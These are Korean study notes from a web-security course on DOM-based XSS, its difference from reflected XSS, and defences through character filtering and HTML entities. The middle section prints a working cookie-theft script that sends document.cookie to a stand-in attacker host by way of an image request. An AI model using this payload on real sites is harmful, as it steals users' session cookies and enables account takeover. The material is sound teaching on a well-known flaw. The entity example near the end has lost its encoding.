[normaltic 취업반 5기] 2023-12-27 10주차 내용 정리
DOM (Document Object Model)
HTML은 태그의 집합으로 이루어져 있으며 트리 구조로 객체가 형성된다. 이러한 트리 구조를 DOM(Document Object Model)이라 한다. DOM 구조에 접근하기 위해서는 Javascript와 같은 스크립트 언어를 사용해야 하며 이를 통해 DOM 구조에 요소를 추가한다거나 제거할 수 있다.
DOM Based XSS
DOM Based XSS는 DOM 구조에 접근하여 요소를 추가한다거나 수정하기 위해 Javascript에 악성 스크립트를 삽입하여 클라이언트 브라우저에서 악성 스크립트가 작동하게 하는 XSS 공격 중 한 종류이다.
DOM Based XSS vs Reflected XSS
DOM Based XSS는 Reflected XSS와 같이 동적 요청에 의해 웹 페이지를 구성하는 과정에서 발생한다는 공통점은 있지만 Reflected XSS는 서버 측에서 동적 웹 페이지를 구성하는 환경에서 발생하고, DOM Based XSS는 클라이언트 측에서 동적 웹 페이지를 구성하는 환경에서 발생한다.
공통점
- 동적 요청에 의해 웹 페이지를 구성하는 과정에서 발생
차이점
- 동적 웹 페이지를 구성하는 환경이 다름
- Reflected XSS는 서버 측에서 동적 웹 페이지를 구성 (사용자 입력 값이 서버 측에 전달되어 동적 웹 페이지 구성)
- DOM Based XSS는 클라이언트 측에서 동적 웹 페이지를 구성 (사용자 입력 값이 서버 측에 전달되지 않고 클라이언트 측 브라우저에서 동적 웹 페이지 구성됨)
XSS 취약점을 통한 실제 공격
공격 대상 도메인에서 XSS 공격이 가능한 포인트를 찾을 때는 주로 alert 함수와 같이 스크립트가 작동하는 것을 직관적으로 확인할 수 있는 방법들을 사용하고 실제로 XSS 공격에는 alert 함수 대신 다른 스크리브를 삽입하여 수행한다. XSS 취약점으로 가능한 공격들 중에는 클라이언트의 쿠키 탈취 공격과 키로거 공격 등이 존재한다. 이중 쿠키 탈취 공격에 대해 알아보도록 하자.
1
2
3
4
5
6
7
8
9
10
|
// 쿠키 탈취 공격에 쓰인 코드 <script> var cookieData = document.cookie;
var i = new Image();
i.src = "https://attacker.Webserver/?cookie="+cookieData;
</script>
|
cs |
쿠키 탈취 공격의 흐름은 다음과 같다.
- document.cookie 함수로 클라이언트의 쿠키값을 조회한다.
- new Image()로 새로운 <img>를 생성한다.
- <img>의 속성 중 src의 값을 "공격자 도메인+cookie 파라미터"로 설정한다.
- 스크립트가 작동하면 클라이언트의 의지와 상관없이 공격자 도메인에 클라이언트 쿠키값이 합쳐진 URL을 요청하게 되고 공격자가 미리 만들어둔 공격자 웹서버로 클라이언트 쿠키값이 전달된다.
스크립트가 작동하게 되면 클라이언트는 영문도 모른 체 공격자에게 쿠키값을 전달하게 되고 공격자는 전달받는 쿠키값을 통해 클라이언트로 위장하여 웹 페이지를 이용하게 된다.
XSS 대응 방안
XSS 공격은 스크립트로 이루어지며 <script>악성 스크립트</script>으로 이루어진 형태가 삽입된다. 이론적으로 스크립트뿐만 아니라 HTML 변조 자체가 이루어지지 않으려면 HTML 태그의 변조 자체를 막아야 한다. 태그는 <태그> 형태로 이루어지기 때문에 클라이언트가 입력한 문자열에 포함된 꺽쇠 '<', '>'를 필터링 혹은 치환하는 과정을 거쳐 응답 페이지의 HTML 변조를 방지할 수 있다.
그러나 '<', '>'와 같이 특수문자를 필터링 혹은 치환하는 과정을 거치게 되면 클라이언트는 필터링 혹은 치환 대상이 되는 특수문자 등을 사용할 수 없게 된다. 이러한 문제를 해결하기 위해 나온 방법이 존재하는데 이를 HTML Entity라 한다.
HTML Entity
HTML Entity란 마크업 언어와의 충돌을 방지하기 위해 HTML에서 규정한 문자열의 코드 규약을 의미한다. HTML Entity의 예로 꺽쇠 '<'는 HTML Entity으로 표현하면 <이다.
특정 특수문자를 HTML Entity으로 치환하는 과정을 거치게 되면 클라이언트가 입력한 특수문자를 웹 브라우저에서는 <와 같은 HTML Entity 형태로 전달받지만 '<'라는 특수문자로는 인식하게 되어 결과적으로 HTML의 변조는 이루어지지 않는다.